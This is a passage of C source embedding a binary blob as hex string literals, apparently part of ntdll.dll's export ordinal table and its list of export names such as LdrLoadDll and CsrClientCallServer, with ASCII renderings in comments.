"\x48\x02\x49\x02\x4A\x02\x4B\x02\x4C\x02\x4D\x02\x4E\x02\x4F\x02" //H.I.J.K.L.M.N.O. /* 005BC0 */ "\x50\x02\x51\x02\x52\x02\x53\x02\x54\x02\x55\x02\x56\x02\x57\x02" //P.Q.R.S.T.U.V.W. /* 005BE0 */ "\x58\x02\x59\x02\x5A\x02\x5B\x02\x5C\x02\x5D\x02\x5E\x02\x5F\x02" //X.Y.Z.[.\.].^._. /* 005C00 */ "\x60\x02\x61\x02\x62\x02\x63\x02\x64\x02\x65\x02\x66\x02\x67\x02" //`.a.b.c.d.e.f.g. /* 005C20 */ "\x68\x02\x69\x02\x6A\x02\x6B\x02\x6C\x02\x6D\x02\x6E\x02\x6F\x02" //h.i.j.k.l.m.n.o. /* 005C40 */ "\x70\x02\x71\x02\x72\x02\x73\x02\x74\x02\x75\x02\x76\x02\x77\x02" //p.q.r.s.t.u.v.w. /* 005C60 */ "\x78\x02\x79\x02\x7A\x02\x7B\x02\x7C\x02\x7D\x02\x7E\x02\x7F\x02" //x.y.z.{.|.}.~... /* 005C80 */ "\x80\x02\x81\x02\x82\x02\x83\x02\x84\x02\x85\x02\x86\x02\x87\x02" //................ /* 005CA0 */ "\x88\x02\x89\x02\x8A\x02\x8B\x02\x8C\x02\x8D\x02\x8E\x02\x8F\x02" //................ /* 005CC0 */ "\x90\x02\x91\x02\x92\x02\x03\x00\x93\x02\x94\x02\x95\x02\x96\x02" //................ /* 005CE0 */ "\x97\x02\x98\x02\x99\x02\x9A\x02\x9B\x02\x9C\x02\x9D\x02\x9E\x02" //................ /* 005D00 */ "\x9F\x02\xA0\x02\xA1\x02\xA2\x02\xA3\x02\xA4\x02\xA5\x02\xA6\x02" //................ /* 005D20 */ "\xA7\x02\xA8\x02\xA9\x02\xAA\x02\xAB\x02\xAC\x02\xAD\x02\xAE\x02" //................ /* 005D40 */ "\xAF\x02\xB0\x02\xB1\x02\xB2\x02\xB3\x02\xB4\x02\xB5\x02\xB6\x02" //................ /* 005D60 */ "\xB7\x02\xB8\x02\xB9\x02\xBA\x02\xBB\x02\xBC\x02\xBD\x02\xBE\x02" //................ /* 005D80 */ "\xBF\x02\xC0\x02\xC1\x02\xC2\x02\xC3\x02\xC4\x02\xC5\x02\xC6\x02" //..À.Á.Â.Ã.Ä.Å.Æ. /* 005DA0 */ "\xC7\x02\xC8\x02\xC9\x02\xCA\x02\xCB\x02\xCC\x02\xCD\x02\xCE\x02" //Ç.È.É.Ê.Ë.Ì.Í.Î. /* 005DC0 */ "\xCF\x02\xD0\x02\xD1\x02\xD2\x02\xD3\x02\xD4\x02\xD5\x02\xD6\x02" //Ï.Ð.Ñ.Ò.Ó.Ô.Õ.Ö. /* 005DE0 */ "\xD7\x02\xD8\x02\xD9\x02\xDA\x02\xDB\x02\xDC\x02\xDD\x02\xDE\x02" //×.Ø.Ù.Ú.Û.Ü.Ý.Þ. /* 005E00 */ "\xDF\x02\xE0\x02\xE1\x02\xE2\x02\xE3\x02\xE4\x02\xE5\x02\xE6\x02" //ß.à.á.â.ã.ä.å.æ. /* 005E20 */ "\xE7\x02\xE8\x02\xE9\x02\xEA\x02\xEB\x02\xEC\x02\xED\x02\xEE\x02" //ç.è.é.ê.ë.ì.í.î. /* 005E40 */ "\xEF\x02\xF0\x02\xF1\x02\xF2\x02\xF3\x02\xF4\x02\xF5\x02\xF6\x02" //ï.ð.ñ.ò.ó.ô.õ.ö. /* 005E60 */ "\xF7\x02\xF8\x02\xF9\x02\xFA\x02\xFB\x02\xFC\x02\xFD\x02\xFE\x02" //÷.ø.ù.ú.û.ü.ý.þ. /* 005E80 */ "\xFF\x02\x00\x03\x01\x03\x02\x03\x03\x03\x04\x03\x05\x03\x06\x03" //ÿ............... /* 005EA0 */ "\x07\x03\x08\x03\x09\x03\x0A\x03\x0B\x03\x0C\x03\x0E\x03\x0D\x03" //................ /* 005EC0 */ "\x0F\x03\x10\x03\x11\x03\x12\x03\x13\x03\x14\x03\x15\x03\x16\x03" //................ /* 005EE0 */ "\x17\x03\x18\x03\x19\x03\x1A\x03\x1B\x03\x1C\x03\x1D\x03\x1E\x03" //................ /* 005F00 */ "\x1F\x03\x20\x03\x21\x03\x22\x03\x23\x03\x24\x03\x25\x03\x26\x03" //....!.".#.$.%.&. /* 005F20 */ "\x27\x03\x28\x03\x29\x03\x2A\x03\x2B\x03\x2C\x03\x2D\x03\x2E\x03" //'.(.).*.+.,.-... /* 005F40 */ "\x2F\x03\x30\x03\x31\x03\x32\x03\x33\x03\x34\x03\x35\x03\x36\x03" ///.0.1.2.3.4.5.6. /* 005F60 */ "\x37\x03\x38\x03\x39\x03\x3A\x03\x3B\x03\x3C\x03\x3D\x03\x3E\x03" //7.8.9.:.;.<.=.>. /* 005F80 */ "\x3F\x03\x40\x03\x41\x03\x42\x03\x43\x03\x04\x00\x05\x00\x45\x03" //?.@.A.B.C.....E. /* 005FA0 */ "\x44\x03\x46\x03\x47\x03\x48\x03\x49\x03\x4A\x03\x4B\x03\x4C\x03" //D.F.G.H.I.J.K.L. /* 005FC0 */ "\x4D\x03\x4E\x03\x4F\x03\x50\x03\x51\x03\x52\x03\x53\x03\x54\x03" //M.N.O.P.Q.R.S.T. /* 005FE0 */ "\x55\x03\x56\x03\x57\x03\x58\x03\x59\x03\x5A\x03\x5B\x03\x5C\x03" //U.V.W.X.Y.Z.[.\. /* 006000 */ "\x5D\x03\x5E\x03\x5F\x03\x60\x03\x06\x00\x61\x03\x62\x03\x63\x03" //].^._.`...a.b.c. /* 006020 */ "\x64\x03\x65\x03\x66\x03\x67\x03\x68\x03\x69\x03\x6A\x03\x6B\x03" //d.e.f.g.h.i.j.k. /* 006040 */ "\x6C\x03\x6D\x03\x6E\x03\x6F\x03\x70\x03\x71\x03\x72\x03\x73\x03" //l.m.n.o.p.q.r.s. /* 006060 */ "\x74\x03\x75\x03\x76\x03\x77\x03\x78\x03\x79\x03\x7A\x03\x7B\x03" //t.u.v.w.x.y.z.{. /* 006080 */ "\x7C\x03\x7D\x03\x7E\x03\x7F\x03\x80\x03\x81\x03\x82\x03\x83\x03" //|.}.~........... /* 0060A0 */ "\x84\x03\x85\x03\x86\x03\x87\x03\x88\x03\x89\x03\x8A\x03\x8B\x03" //................ /* 0060C0 */ "\x8C\x03\x8D\x03\x8E\x03\x8F\x03\x90\x03\x91\x03\x92\x03\x93\x03" //................ /* 0060E0 */ "\x94\x03\x95\x03\x96\x03\x97\x03\x98\x03\x99\x03\x9A\x03\x9B\x03" //................ /* 006100 */ "\x9C\x03\x9D\x03\x9E\x03\x9F\x03\xA0\x03\xA1\x03\xA2\x03\xA3\x03" //................ /* 006120 */ "\xA4\x03\xA5\x03\xA6\x03\xA7\x03\xA8\x03\xA9\x03\xAA\x03\xAB\x03" //................ /* 006140 */ "\xAC\x03\xAD\x03\xAE\x03\xAF\x03\xB0\x03\xB1\x03\xB2\x03\xB3\x03" //................ /* 006160 */ "\xB4\x03\xB5\x03\xB6\x03\xB7\x03\xB8\x03\xB9\x03\xBA\x03\xBB\x03" //................ /* 006180 */ "\xBC\x03\xBD\x03\xBE\x03\xBF\x03\xC0\x03\xC1\x03\xC2\x03\xC3\x03" //........À.Á.Â.Ã. /* 0061A0 */ "\xC4\x03\xC5\x03\xC6\x03\xC7\x03\xC8\x03\xC9\x03\xCA\x03\xCB\x03" //Ä.Å.Æ.Ç.È.É.Ê.Ë. /* 0061C0 */ "\xCC\x03\xCD\x03\xCE\x03\xCF\x03\xD0\x03\xD1\x03\xD2\x03\xD3\x03" //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó. /* 0061E0 */ "\xD4\x03\xD5\x03\xD6\x03\xD7\x03\xD8\x03\xD9\x03\xDA\x03\xDB\x03" //Ô.Õ.Ö.×.Ø.Ù.Ú.Û. /* 006200 */ "\xDC\x03\xDD\x03\xDE\x03\xDF\x03\xE0\x03\xE1\x03\xE2\x03\xE4\x03" //Ü.Ý.Þ.ß.à.á.â.ä. /* 006220 */ "\xE3\x03\xE5\x03\xE6\x03\xE7\x03\xE8\x03\xE9\x03\xEA\x03\xEB\x03" //ã.å.æ.ç.è.é.ê.ë. /* 006240 */ "\xEC\x03\xED\x03\xEE\x03\xEF\x03\xF0\x03\xF1\x03\xF2\x03\xF3\x03" //ì.í.î.ï.ð.ñ.ò.ó. /* 006260 */ "\xF4\x03\xF5\x03\xF6\x03\xF7\x03\xF8\x03\xF9\x03\xFA\x03\xFB\x03" //ô.õ.ö.÷.ø.ù.ú.û. /* 006280 */ "\xFC\x03\xFD\x03\xFE\x03\xFF\x03\x00\x04\x01\x04\x02\x04\x03\x04" //ü.ý.þ.ÿ......... /* 0062A0 */ "\x04\x04\x05\x04\x06\x04\x07\x04\x08\x04\x09\x04\x0A\x04\x0B\x04" //................ /* 0062C0 */ "\x0C\x04\x0D\x04\x0E\x04\x0F\x04\x10\x04\x11\x04\x12\x04\x13\x04" //................ /* 0062E0 */ "\x14\x04\x15\x04\x16\x04\x17\x04\x18\x04\x19\x04\x1A\x04\x1B\x04" //................ /* 006300 */ "\x1C\x04\x1D\x04\x1E\x04\x1F\x04\x20\x04\x21\x04\x22\x04\x23\x04" //..........!.".#. /* 006320 */ "\x24\x04\x25\x04\x26\x04\x27\x04\x28\x04\x29\x04\x2A\x04\x2B\x04" //$.%.&.'.(.).*.+. /* 006340 */ "\x2C\x04\x2D\x04\x2E\x04\x2F\x04\x30\x04\x31\x04\x32\x04\x33\x04" //,.-.../.0.1.2.3. /* 006360 */ "\x34\x04\x35\x04\x36\x04\x37\x04\x38\x04\x39\x04\x3A\x04\x3B\x04" //4.5.6.7.8.9.:.;. /* 006380 */ "\x3C\x04\x3D\x04\x3E\x04\x3F\x04\x40\x04\x41\x04\x42\x04\x43\x04" //<.=.>.?.@.A.B.C. /* 0063A0 */ "\x44\x04\x45\x04\x46\x04\x47\x04\x48\x04\x49\x04\x4A\x04\x4B\x04" //D.E.F.G.H.I.J.K. /* 0063C0 */ "\x4C\x04\x4D\x04\x4E\x04\x4F\x04\x50\x04\x51\x04\x52\x04\x53\x04" //L.M.N.O.P.Q.R.S. /* 0063E0 */ "\x54\x04\x55\x04\x56\x04\x57\x04\x58\x04\x59\x04\x5A\x04\x5B\x04" //T.U.V.W.X.Y.Z.[. /* 006400 */ "\x5C\x04\x5D\x04\x5E\x04\x5F\x04\x60\x04\x61\x04\x62\x04\x63\x04" //\.].^._.`.a.b.c. /* 006420 */ "\x64\x04\x65\x04\x66\x04\x67\x04\x68\x04\x69\x04\x6A\x04\x6B\x04" //d.e.f.g.h.i.j.k. /* 006440 */ "\x6C\x04\x6D\x04\x6E\x04\x6F\x04\x70\x04\x71\x04\x72\x04\x73\x04" //l.m.n.o.p.q.r.s. /* 006460 */ "\x74\x04\x75\x04\x76\x04\x77\x04\x78\x04\x79\x04\x7A\x04\x7B\x04" //t.u.v.w.x.y.z.{. /* 006480 */ "\x7C\x04\x7D\x04\x7E\x04\x7F\x04\x80\x04\x81\x04\x82\x04\x83\x04" //|.}.~........... /* 0064A0 */ "\x84\x04\x85\x04\x86\x04\x87\x04\x88\x04\x89\x04\x8A\x04\x8B\x04" //................ /* 0064C0 */ "\x8C\x04\x8D\x04\x8E\x04\x8F\x04\x90\x04\x91\x04\x92\x04\x93\x04" //................ /* 0064E0 */ "\x94\x04\x95\x04\x96\x04\x97\x04\x98\x04\x99\x04\x9A\x04\x9B\x04" //................ /* 006500 */ "\x9C\x04\x9D\x04\x9E\x04\x9F\x04\xA0\x04\xA1\x04\xA2\x04\xA3\x04" //................ /* 006520 */ "\xA4\x04\xA5\x04\xA6\x04\xA7\x04\xA8\x04\xA9\x04\xAA\x04\xAB\x04" //................ /* 006540 */ "\xAC\x04\xAD\x04\xAE\x04\xAF\x04\xB0\x04\xB1\x04\xB2\x04\xB3\x04" //................ /* 006560 */ "\xB4\x04\xB5\x04\xB6\x04\xB7\x04\xB8\x04\xB9\x04\xBA\x04\xBB\x04" //................ /* 006580 */ "\xBC\x04\xBD\x04\xBE\x04\xBF\x04\xC0\x04\xC1\x04\xC2\x04\xC3\x04" //........À.Á.Â.Ã. /* 0065A0 */ "\xC4\x04\xC5\x04\xC6\x04\xC7\x04\xC8\x04\xC9\x04\xCA\x04\xCB\x04" //Ä.Å.Æ.Ç.È.É.Ê.Ë. /* 0065C0 */ "\xCC\x04\xCD\x04\xCE\x04\xCF\x04\xD0\x04\xD1\x04\xD2\x04\xD3\x04" //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó. /* 0065E0 */ "\xD4\x04\xD5\x04\xD6\x04\xD7\x04\xD8\x04\xD9\x04\xDA\x04\xDB\x04" //Ô.Õ.Ö.×.Ø.Ù.Ú.Û. /* 006600 */ "\xDC\x04\xDD\x04\xDE\x04\xDF\x04\xE0\x04\xE1\x04\xE2\x04\xE3\x04" //Ü.Ý.Þ.ß.à.á.â.ã. /* 006620 */ "\xE4\x04\xE5\x04\xE6\x04\xE7\x04\xE8\x04\xE9\x04\xEA\x04\xEB\x04" //ä.å.æ.ç.è.é.ê.ë. /* 006640 */ "\xEC\x04\xED\x04\xEE\x04\xEF\x04\xF0\x04\xF1\x04\xF2\x04\xF3\x04" //ì.í.î.ï.ð.ñ.ò.ó. /* 006660 */ "\xF4\x04\xF5\x04\xF6\x04\xF7\x04\xF8\x04\xF9\x04\xFA\x04\xFB\x04" //ô.õ.ö.÷.ø.ù.ú.û. /* 006680 */ "\xFC\x04\xFD\x04\xFE\x04\xFF\x04\x00\x05\x01\x05\x02\x05\x03\x05" //ü.ý.þ.ÿ......... /* 0066A0 */ "\x04\x05\x05\x05\x06\x05\x07\x05\x08\x05\x09\x05\x0A\x05\x0B\x05" //................ /* 0066C0 */ "\x0C\x05\x0D\x05\x0E\x05\x0F\x05\x10\x05\x11\x05\x12\x05\x13\x05" //................ /* 0066E0 */ "\x14\x05\x15\x05\x16\x05\x17\x05\x18\x05\x19\x05\x1A\x05\x1B\x05" //................ /* 006700 */ "\x1C\x05\x1D\x05\x1E\x05\x1F\x05\x20\x05\x21\x05\x22\x05\x23\x05" //..........!.".#. /* 006720 */ "\x6E\x74\x64\x6C\x6C\x2E\x64\x6C\x6C\x00\x43\x73\x72\x41\x6C\x6C" //ntdll.dll.CsrAll /* 006740 */ "\x6F\x63\x61\x74\x65\x43\x61\x70\x74\x75\x72\x65\x42\x75\x66\x66" //ocateCaptureBuff /* 006760 */ "\x65\x72\x00\x43\x73\x72\x41\x6C\x6C\x6F\x63\x61\x74\x65\x4D\x65" //er.CsrAllocateMe /* 006780 */ "\x73\x73\x61\x67\x65\x50\x6F\x69\x6E\x74\x65\x72\x00\x43\x73\x72" //ssagePointer.Csr /* 0067A0 */ "\x43\x61\x70\x74\x75\x72\x65\x4D\x65\x73\x73\x61\x67\x65\x42\x75" //CaptureMessageBu /* 0067C0 */ "\x66\x66\x65\x72\x00\x43\x73\x72\x43\x61\x70\x74\x75\x72\x65\x4D" //ffer.CsrCaptureM /* 0067E0 */ "\x65\x73\x73\x61\x67\x65\x4D\x75\x6C\x74\x69\x55\x6E\x69\x63\x6F" //essageMultiUnico /* 006800 */ "\x64\x65\x53\x74\x72\x69\x6E\x67\x73\x49\x6E\x50\x6C\x61\x63\x65" //deStringsInPlace /* 006820 */ "\x00\x43\x73\x72\x43\x61\x70\x74\x75\x72\x65\x4D\x65\x73\x73\x61" //.CsrCaptureMessa /* 006840 */ "\x67\x65\x53\x74\x72\x69\x6E\x67\x00\x43\x73\x72\x43\x61\x70\x74" //geString.CsrCapt /* 006860 */ "\x75\x72\x65\x54\x69\x6D\x65\x6F\x75\x74\x00\x43\x73\x72\x43\x6C" //ureTimeout.CsrCl /* 006880 */ "\x69\x65\x6E\x74\x43\x61\x6C\x6C\x53\x65\x72\x76\x65\x72\x00\x43" //ientCallServer.C /* 0068A0 */ "\x73\x72\x43\x6C\x69\x65\x6E\x74\x43\x6F\x6E\x6E\x65\x63\x74\x54" //srClientConnectT /* 0068C0 */ "\x6F\x53\x65\x72\x76\x65\x72\x00\x43\x73\x72\x46\x72\x65\x65\x43" //oServer.CsrFreeC /* 0068E0 */ "\x61\x70\x74\x75\x72\x65\x42\x75\x66\x66\x65\x72\x00\x43\x73\x72" //aptureBuffer.Csr /* 006900 */ "\x47\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x49\x64\x00\x43\x73\x72" //GetProcessId.Csr /* 006920 */ "\x49\x64\x65\x6E\x74\x69\x66\x79\x41\x6C\x65\x72\x74\x61\x62\x6C" //IdentifyAlertabl /* 006940 */ "\x65\x54\x68\x72\x65\x61\x64\x00\x43\x73\x72\x4E\x65\x77\x54\x68" //eThread.CsrNewTh /* 006960 */ "\x72\x65\x61\x64\x00\x43\x73\x72\x50\x72\x6F\x62\x65\x46\x6F\x72" //read.CsrProbeFor /* 006980 */ "\x52\x65\x61\x64\x00\x43\x73\x72\x50\x72\x6F\x62\x65\x46\x6F\x72" //Read.CsrProbeFor /* 0069A0 */ "\x57\x72\x69\x74\x65\x00\x43\x73\x72\x53\x65\x74\x50\x72\x69\x6F" //Write.CsrSetPrio /* 0069C0 */ "\x72\x69\x74\x79\x43\x6C\x61\x73\x73\x00\x44\x62\x67\x42\x72\x65" //rityClass.DbgBre /* 0069E0 */ "\x61\x6B\x50\x6F\x69\x6E\x74\x00\x44\x62\x67\x50\x72\x69\x6E\x74" //akPoint.DbgPrint /* 006A00 */ "\x00\x44\x62\x67\x50\x72\x69\x6E\x74\x45\x78\x00\x44\x62\x67\x50" //.DbgPrintEx.DbgP /* 006A20 */ "\x72\x69\x6E\x74\x52\x65\x74\x75\x72\x6E\x43\x6F\x6E\x74\x72\x6F" //rintReturnContro /* 006A40 */ "\x6C\x43\x00\x44\x62\x67\x50\x72\x6F\x6D\x70\x74\x00\x44\x62\x67" //lC.DbgPrompt.Dbg /* 006A60 */ "\x51\x75\x65\x72\x79\x44\x65\x62\x75\x67\x46\x69\x6C\x74\x65\x72" //QueryDebugFilter /* 006A80 */ "\x53\x74\x61\x74\x65\x00\x44\x62\x67\x53\x65\x74\x44\x65\x62\x75" //State.DbgSetDebu /* 006AA0 */ "\x67\x46\x69\x6C\x74\x65\x72\x53\x74\x61\x74\x65\x00\x44\x62\x67" //gFilterState.Dbg /* 006AC0 */ "\x55\x69\x43\x6F\x6E\x6E\x65\x63\x74\x54\x6F\x44\x62\x67\x00\x44" //UiConnectToDbg.D /* 006AE0 */ "\x62\x67\x55\x69\x43\x6F\x6E\x74\x69\x6E\x75\x65\x00\x44\x62\x67" //bgUiContinue.Dbg /* 006B00 */ "\x55\x69\x43\x6F\x6E\x76\x65\x72\x74\x53\x74\x61\x74\x65\x43\x68" //UiConvertStateCh /* 006B20 */ "\x61\x6E\x67\x65\x53\x74\x72\x75\x63\x74\x75\x72\x65\x00\x44\x62" //angeStructure.Db /* 006B40 */ "\x67\x55\x69\x44\x65\x62\x75\x67\x41\x63\x74\x69\x76\x65\x50\x72" //gUiDebugActivePr /* 006B60 */ "\x6F\x63\x65\x73\x73\x00\x44\x62\x67\x55\x69\x47\x65\x74\x54\x68" //ocess.DbgUiGetTh /* 006B80 */ "\x72\x65\x61\x64\x44\x65\x62\x75\x67\x4F\x62\x6A\x65\x63\x74\x00" //readDebugObject. /* 006BA0 */ "\x44\x62\x67\x55\x69\x49\x73\x73\x75\x65\x52\x65\x6D\x6F\x74\x65" //DbgUiIssueRemote /* 006BC0 */ "\x42\x72\x65\x61\x6B\x69\x6E\x00\x44\x62\x67\x55\x69\x52\x65\x6D" //Breakin.DbgUiRem /* 006BE0 */ "\x6F\x74\x65\x42\x72\x65\x61\x6B\x69\x6E\x00\x44\x62\x67\x55\x69" //oteBreakin.DbgUi /* 006C00 */ "\x53\x65\x74\x54\x68\x72\x65\x61\x64\x44\x65\x62\x75\x67\x4F\x62" //SetThreadDebugOb /* 006C20 */ "\x6A\x65\x63\x74\x00\x44\x62\x67\x55\x69\x53\x74\x6F\x70\x44\x65" //ject.DbgUiStopDe /* 006C40 */ "\x62\x75\x67\x67\x69\x6E\x67\x00\x44\x62\x67\x55\x69\x57\x61\x69" //bugging.DbgUiWai /* 006C60 */ "\x74\x53\x74\x61\x74\x65\x43\x68\x61\x6E\x67\x65\x00\x44\x62\x67" //tStateChange.Dbg /* 006C80 */ "\x55\x73\x65\x72\x42\x72\x65\x61\x6B\x50\x6F\x69\x6E\x74\x00\x4B" //UserBreakPoint.K /* 006CA0 */ "\x69\x46\x61\x73\x74\x53\x79\x73\x74\x65\x6D\x43\x61\x6C\x6C\x00" //iFastSystemCall. /* 006CC0 */ "\x4B\x69\x46\x61\x73\x74\x53\x79\x73\x74\x65\x6D\x43\x61\x6C\x6C" //KiFastSystemCall /* 006CE0 */ "\x52\x65\x74\x00\x4B\x69\x49\x6E\x74\x53\x79\x73\x74\x65\x6D\x43" //Ret.KiIntSystemC /* 006D00 */ "\x61\x6C\x6C\x00\x4B\x69\x52\x61\x69\x73\x65\x55\x73\x65\x72\x45" //all.KiRaiseUserE /* 006D20 */ "\x78\x63\x65\x70\x74\x69\x6F\x6E\x44\x69\x73\x70\x61\x74\x63\x68" //xceptionDispatch /* 006D40 */ "\x65\x72\x00\x4B\x69\x55\x73\x65\x72\x41\x70\x63\x44\x69\x73\x70" //er.KiUserApcDisp /* 006D60 */ "\x61\x74\x63\x68\x65\x72\x00\x4B\x69\x55\x73\x65\x72\x43\x61\x6C" //atcher.KiUserCal /* 006D80 */ "\x6C\x62\x61\x63\x6B\x44\x69\x73\x70\x61\x74\x63\x68\x65\x72\x00" //lbackDispatcher. /* 006DA0 */ "\x4B\x69\x55\x73\x65\x72\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x44" //KiUserExceptionD /* 006DC0 */ "\x69\x73\x70\x61\x74\x63\x68\x65\x72\x00\x4C\x64\x72\x41\x63\x63" //ispatcher.LdrAcc /* 006DE0 */ "\x65\x73\x73\x4F\x75\x74\x4F\x66\x50\x72\x6F\x63\x65\x73\x73\x52" //essOutOfProcessR /* 006E00 */ "\x65\x73\x6F\x75\x72\x63\x65\x00\x4C\x64\x72\x41\x63\x63\x65\x73" //esource.LdrAcces /* 006E20 */ "\x73\x52\x65\x73\x6F\x75\x72\x63\x65\x00\x4C\x64\x72\x41\x64\x64" //sResource.LdrAdd /* 006E40 */ "\x52\x65\x66\x44\x6C\x6C\x00\x4C\x64\x72\x41\x6C\x74\x65\x72\x6E" //RefDll.LdrAltern /* 006E60 */ "\x61\x74\x65\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x45\x6E\x61\x62" //ateResourcesEnab /* 006E80 */ "\x6C\x65\x64\x00\x4C\x64\x72\x43\x72\x65\x61\x74\x65\x4F\x75\x74" //led.LdrCreateOut /* 006EA0 */ "\x4F\x66\x50\x72\x6F\x63\x65\x73\x73\x49\x6D\x61\x67\x65\x00\x4C" //OfProcessImage.L /* 006EC0 */ "\x64\x72\x44\x65\x73\x74\x72\x6F\x79\x4F\x75\x74\x4F\x66\x50\x72" //drDestroyOutOfPr /* 006EE0 */ "\x6F\x63\x65\x73\x73\x49\x6D\x61\x67\x65\x00\x4C\x64\x72\x44\x69" //ocessImage.LdrDi /* 006F00 */ "\x73\x61\x62\x6C\x65\x54\x68\x72\x65\x61\x64\x43\x61\x6C\x6C\x6F" //sableThreadCallo /* 006F20 */ "\x75\x74\x73\x46\x6F\x72\x44\x6C\x6C\x00\x4C\x64\x72\x45\x6E\x75" //utsForDll.LdrEnu /* 006F40 */ "\x6D\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x00\x4C\x64\x72\x45\x6E" //mResources.LdrEn /* 006F60 */ "\x75\x6D\x65\x72\x61\x74\x65\x4C\x6F\x61\x64\x65\x64\x4D\x6F\x64" //umerateLoadedMod /* 006F80 */ "\x75\x6C\x65\x73\x00\x4C\x64\x72\x46\x69\x6E\x64\x43\x72\x65\x61" //ules.LdrFindCrea /* 006FA0 */ "\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x4D\x61\x6E\x69\x66\x65\x73" //teProcessManifes /* 006FC0 */ "\x74\x00\x4C\x64\x72\x46\x69\x6E\x64\x45\x6E\x74\x72\x79\x46\x6F" //t.LdrFindEntryFo /* 006FE0 */ "\x72\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x64\x72\x46\x69\x6E\x64" //rAddress.LdrFind /* 007000 */ "\x52\x65\x73\x6F\x75\x72\x63\x65\x44\x69\x72\x65\x63\x74\x6F\x72" //ResourceDirector /* 007020 */ "\x79\x5F\x55\x00\x4C\x64\x72\x46\x69\x6E\x64\x52\x65\x73\x6F\x75" //y_U.LdrFindResou /* 007040 */ "\x72\x63\x65\x45\x78\x5F\x55\x00\x4C\x64\x72\x46\x69\x6E\x64\x52" //rceEx_U.LdrFindR /* 007060 */ "\x65\x73\x6F\x75\x72\x63\x65\x5F\x55\x00\x4C\x64\x72\x46\x6C\x75" //esource_U.LdrFlu /* 007080 */ "\x73\x68\x41\x6C\x74\x65\x72\x6E\x61\x74\x65\x52\x65\x73\x6F\x75" //shAlternateResou /* 0070A0 */ "\x72\x63\x65\x4D\x6F\x64\x75\x6C\x65\x73\x00\x4C\x64\x72\x47\x65" //rceModules.LdrGe /* 0070C0 */ "\x74\x44\x6C\x6C\x48\x61\x6E\x64\x6C\x65\x00\x4C\x64\x72\x47\x65" //tDllHandle.LdrGe /* 0070E0 */ "\x74\x44\x6C\x6C\x48\x61\x6E\x64\x6C\x65\x45\x78\x00\x4C\x64\x72" //tDllHandleEx.Ldr /* 007100 */ "\x47\x65\x74\x50\x72\x6F\x63\x65\x64\x75\x72\x65\x41\x64\x64\x72" //GetProcedureAddr /* 007120 */ "\x65\x73\x73\x00\x4C\x64\x72\x48\x6F\x74\x50\x61\x74\x63\x68\x52" //ess.LdrHotPatchR /* 007140 */ "\x6F\x75\x74\x69\x6E\x65\x00\x4C\x64\x72\x49\x6E\x69\x74\x53\x68" //outine.LdrInitSh /* 007160 */ "\x69\x6D\x45\x6E\x67\x69\x6E\x65\x44\x79\x6E\x61\x6D\x69\x63\x00" //imEngineDynamic. /* 007180 */ "\x4C\x64\x72\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x54\x68\x75" //LdrInitializeThu /* 0071A0 */ "\x6E\x6B\x00\x4C\x64\x72\x4C\x6F\x61\x64\x41\x6C\x74\x65\x72\x6E" //nk.LdrLoadAltern /* 0071C0 */ "\x61\x74\x65\x52\x65\x73\x6F\x75\x72\x63\x65\x4D\x6F\x64\x75\x6C" //ateResourceModul /* 0071E0 */ "\x65\x00\x4C\x64\x72\x4C\x6F\x61\x64\x44\x6C\x6C\x00\x4C\x64\x72" //e.LdrLoadDll.Ldr /* 007200 */ "\x4C\x6F\x63\x6B\x4C\x6F\x61\x64\x65\x72\x4C\x6F\x63\x6B\x00\x4C" //LockLoaderLock.L /* 007220 */ "\x64\x72\x50\x72\x6F\x63\x65\x73\x73\x52\x65\x6C\x6F\x63\x61\x74" //drProcessRelocat /* 007240 */ "\x69\x6F\x6E\x42\x6C\x6F\x63\x6B\x00\x4C\x64\x72\x51\x75\x65\x72" //ionBlock.LdrQuer /* 007260 */ "\x79\x49\x6D\x61\x67\x65\x46\x69\x6C\x65\x45\x78\x65\x63\x75\x74" //yImageFileExecut /* 007280 */ "\x69\x6F\x6E\x4F\x70\x74\x69\x6F\x6E\x73\x00\x4C\x64\x72\x51\x75" //ionOptions.LdrQu /* 0072A0 */ "\x65\x72\x79\x50\x72\x6F\x63\x65\x73\x73\x4D\x6F\x64\x75\x6C\x65" //eryProcessModule /* 0072C0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x4C\x64\x72\x53" //Information.LdrS /* 0072E0 */ "\x65\x74\x41\x70\x70\x43\x6F\x6D\x70\x61\x74\x44\x6C\x6C\x52\x65" //etAppCompatDllRe /* 007300 */ "\x64\x69\x72\x65\x63\x74\x69\x6F\x6E\x43\x61\x6C\x6C\x62\x61\x63" //directionCallbac /* 007320 */ "\x6B\x00\x4C\x64\x72\x53\x65\x74\x44\x6C\x6C\x4D\x61\x6E\x69\x66" //k.LdrSetDllManif /* 007340 */ "\x65\x73\x74\x50\x72\x6F\x62\x65\x72\x00\x4C\x64\x72\x53\x68\x75" //estProber.LdrShu /* 007360 */ "\x74\x64\x6F\x77\x6E\x50\x72\x6F\x63\x65\x73\x73\x00\x4C\x64\x72" //tdownProcess.Ldr /* 007380 */ "\x53\x68\x75\x74\x64\x6F\x77\x6E\x54\x68\x72\x65\x61\x64\x00\x4C" //ShutdownThread.L /* 0073A0 */ "\x64\x72\x55\x6E\x6C\x6F\x61\x64\x41\x6C\x74\x65\x72\x6E\x61\x74" //drUnloadAlternat /* 0073C0 */ "\x65\x52\x65\x73\x6F\x75\x72\x63\x65\x4D\x6F\x64\x75\x6C\x65\x00" //eResourceModule. /* 0073E0 */ "\x4C\x64\x72\x55\x6E\x6C\x6F\x61\x64\x44\x6C\x6C\x00\x4C\x64\x72" //LdrUnloadDll.Ldr /* 007400 */ "\x55\x6E\x6C\x6F\x63\x6B\x4C\x6F\x61\x64\x65\x72\x4C\x6F\x63\x6B" //UnlockLoaderLock /* 007420 */ "\x00\x4C\x64\x72\x56\x65\x72\x69\x66\x79\x49\x6D\x61\x67\x65\x4D" //.LdrVerifyImageM /* 007440 */ "\x61\x74\x63\x68\x65\x73\x43\x68\x65\x63\x6B\x73\x75\x6D\x00\x4E" //atchesChecksum.N /* 007460 */ "\x6C\x73\x41\x6E\x73\x69\x43\x6F\x64\x65\x50\x61\x67\x65\x00\x4E" //lsAnsiCodePage.N /* 007480 */ 